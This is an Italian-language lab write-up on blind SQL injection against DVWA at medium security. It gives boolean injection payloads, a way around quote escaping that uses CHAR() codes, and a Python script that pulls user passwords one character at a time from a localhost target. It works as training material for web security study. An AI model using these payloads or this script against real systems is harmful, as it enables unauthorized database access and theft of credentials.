DVWA 09 - Blind SQLi Medium


1 Notes

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";    

Forzo la condizione a falsa

  '1 AND 1=0 # '  

Forzo la condizione a vera

  '1 AND 1=1 # '  

Verifico l'esistenza di una tabella

  '1 AND (SELECT 1 from users LIMIT 1)=1 # '  

Verifico l'esistenza di un utente nel database.

Dato che non posso utilizzare gli apicetti perché vengono tolti tramite la funzione mysqli_real_escape_string(), per andare a fare il controllo sul nome dell'utente devo andare ad utilizzare il fatto che una stringa altro non è che una sequenza di byte, dove ciascun byte può sempre e comunque essere interpretato come un numero ripreso dalla codifica ascii.

Query originale (non utilizzabile per via dei '):

    1' AND (select 'x' from users where first_name='admin' LIMIT 1) = 'x' #

Per ottenere la query utilizzabile prima mi calcolo i byte della stringa "admin"

    a -> 01100001 ->  97
    d -> 01100100 -> 100
    m -> 01101101 -> 109
    i -> 01101001 -> 105
    n -> 01101110 -> 110

A questo punto ottengo la seguente codifica della condizione che non posso scrivere

    first_name='admin' <---> substring(first_name, 1, 1) = CHAR(97) AND
    		                substring(first_name, 2, 1) = CHAR(100) AND 
			  	substring(first_name, 3, 1) = CHAR(109) AND
			  	substring(first_name, 4, 1) = CHAR(105) AND
			  	substring(first_name, 5, 1) = CHAR(110)

Mettendo tutto assieme ottengo

    '1 AND (select 1 from users where substring(first_name, 1, 1) = CHAR(97) AND substring(first_name, 2, 1) = CHAR(100) AND substring(first_name, 3, 1) = CHAR(109) AND substring(first_name, 4, 1) = CHAR(105) AND substring(first_name, 5, 1) = CHAR(110) LIMIT 1) = 1 # '

2 Code

Codice per automatizzare l'exploitation

#!/usr/bin/env python3

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning())

URL = "http://localhost/dvwa/vulnerabilities/sqli_blind/"
custom_headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "security=medium; PHPSESSID=3tsk837kk0j907arne8jhunh0l"
}
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080",    
}

def encode_sql_condition(user):
    sql = ""
    for i, c in enumerate(user):
        sql += f"substring(first_name, {i+1}, 1) = CHAR({ord(c)}) AND "
    return sql[:-5]

def get_password_length(user):
    MAX_LENGTH = 100
    username_sql = encode_sql_condition(user)

    for i in range(1, MAX_LENGTH):
        sql_payload = f"1 AND (select 1 from users where {username_sql} and LENGTH(password) > {i}) = 1 #"
        data = f"id={sql_payload}&Submit=Submit"
        r = requests.post(URL, data=data, headers=custom_headers, proxies=proxies)

        if "MISSING" in r.text:
            return i

def get_password(user):
    password_length = get_password_length(user)
    username_sql_code = encode_sql_condition(user)

    ALPHABET = ""
    ALPHABET += "0123456789"
    ALPHABET += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    ALPHABET += "abcdefghijklmnopqrstuvwxyz"

    password = ""
    for i in range(1, password_length + 1):
        for c in ALPHABET:
            sql_payload = f"1 AND (select substring(password, {i}, 1) from users where {username_sql_code}) = CHAR({ord(c)}) #"
            data = f"id={sql_payload}&Submit=Submit"
            r = requests.post(URL, data=data, headers=custom_headers, proxies=proxies)

            if not "MISSING" in r.text:
                password += c
                print(c, end="", flush=True)
                break
            
    return password

if __name__ == "__main__":
    users = ["admin", "Gordon", "Hack", "Pablo", "Bob"]

    for user in users:
        password = get_password(user)
        print()
        print(f"La password di {user} è {password}")